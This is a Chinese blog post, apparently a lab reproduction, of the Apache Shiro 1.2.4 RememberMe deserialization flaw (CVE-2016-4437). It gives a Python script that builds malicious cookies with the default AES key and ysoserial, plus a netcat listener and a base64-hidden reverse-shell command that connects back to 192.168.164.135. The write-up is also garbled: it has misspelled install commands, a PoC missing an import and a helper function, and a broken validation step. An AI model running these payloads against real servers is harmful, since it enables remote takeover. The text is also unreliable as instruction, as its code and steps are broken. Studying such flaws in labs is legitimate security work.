
Shiro RememberMe 1.2.4 反序列化漏洞(Shiro-550, CVE-2016-4437)复现
在浏览器中访问目标应用,登录账户并访问“账户页面”。 使用浏览器的开发者工具(如 Chrome DevTools)捕获发送到服务器的 cookie。 在 cookie 字段中放入从
发布日期:2021-05-16 00:14:27
浏览次数:9
分类:精选文章
本文共 2124 字,大约阅读时间需要 7 分钟。
Shiro RememberMe 1.2.4 反序列化漏洞(Shiro-550, CVE-2016-4437)复现
前言
本文将围绕Shiro RememberMe 1.2.4版本的反序列化漏洞(Shiro-550, CVE-2016-4437)的复现和相关代码审计进行详细描述。该漏洞曾被广泛利用,提供了远程代码执行的可能性。
环境搭建
使用 Docker
由于本次复现需要在虚拟环境下进行,选择使用 Docker 可以更好地控制和管理实验环境。
systemctl start docker
启动Docker服务后,继续执行以下命令下载并启动实验环境:
docker pull medicean/vulapps:s_shiro_1 docker run -d -p 81:8080 medicean/vulapps:s_shiro_1
注意:由于默认情况下CentOS中已经预装了Apache,默认监听80端口,因此将目标端口设置为81以避免端口冲突。
工具准备
1. Shiro 恶意代码示例(shiro_poc.py)
该脚本用于生成有效的RememberMe cookie,用于测试和利用漏洞。
# 依赖安装 ping install pycrypto ping install subproces
import sys import base64 import uuid from random import Random from subprocess import Popen from Crypto.Cipher import AES key = "kPH+bIxk5D2deZiIxcaaaA==" BS = AES.block_size def encode_rememberme(command): popen = Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) file_body = pad(popen.stdout.read()) iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == "__main__": payload = encode_rememberme(sys.argv[1]) with open("/tmp/payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
将该脚本 放入 /tmp
目录下。
2. Ysoserial 套件
Ysoserial 是一个强大的自动化工具,支持多种反序列化攻击模块,包括Commons-Collections。以下步骤用于获取和构建 Ysoserial:
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTest
将构建好的 Jar 文件复制到 /tmp/ysoserial-0.0.6-SNAPSHOT-all.jar
。
模块安装
ping install pycrypto
开始执行
在终端中执行以下命令,通过 netcat 监听反馈:
nc -lvvp 2345
并运行以下命令生成恶意 RememberMe cookie:
python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzUvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"
运行完成后,恶意 cookie 会存储在 /tmp/payload.cookie
中。
##Validation Validation
/tmp/payload.cookie
中读取的内容。结果分析
完成上述步骤后,攻击者应当能够通过持有控制台权限进一步扩大影响范围。记得终止命令行会话以避免信息泄露。
参考文献
发表评论
最新留言
路过,博主的博客真漂亮。。
[***.116.15.85]2025年04月29日 06时14分29秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
C++ Primer Plus读书笔记:c++字符串
2019-03-12
CSU 1757: 火车入站(区间覆盖的最大覆盖深度)
2019-03-12
C++ Primer Plus读书笔记:循环读取(错误处理)
2019-03-12
skimage与cv2 安装失败的解决办法
2019-03-12
linuxmint 上面装谷歌浏览器
2019-03-12
windows/linux下Anaconda管理的(安装的)包的位置
2019-03-12
关于吴恩达的深度学习的一些授课视频里面英文翻译错误的实例展示
2019-03-12
伴随矩阵和逆矩阵的关系证明
2019-03-12
反向传播之矩阵求导dL/dz1的求导过程 普通神经网络的逆向求导过程
2019-03-12
numpy.linspace使用详解
2019-03-12
突破Bias-Variance困境
2019-03-12
函数可导和可微的区别: 一元中互为充要;多元中可微是可导的必要条件,可导不一定可微。
2019-03-12
一文说尽C++赋值运算符重载函数(operator=)
2019-03-12
Form窗体属性
2019-03-12
IC封装图片大全
2019-03-12
自恢复保险丝的选用
2019-03-12
开关电源 误差放大器电路
2019-03-12
Altium Designer唤出关掉的窗口
2019-03-12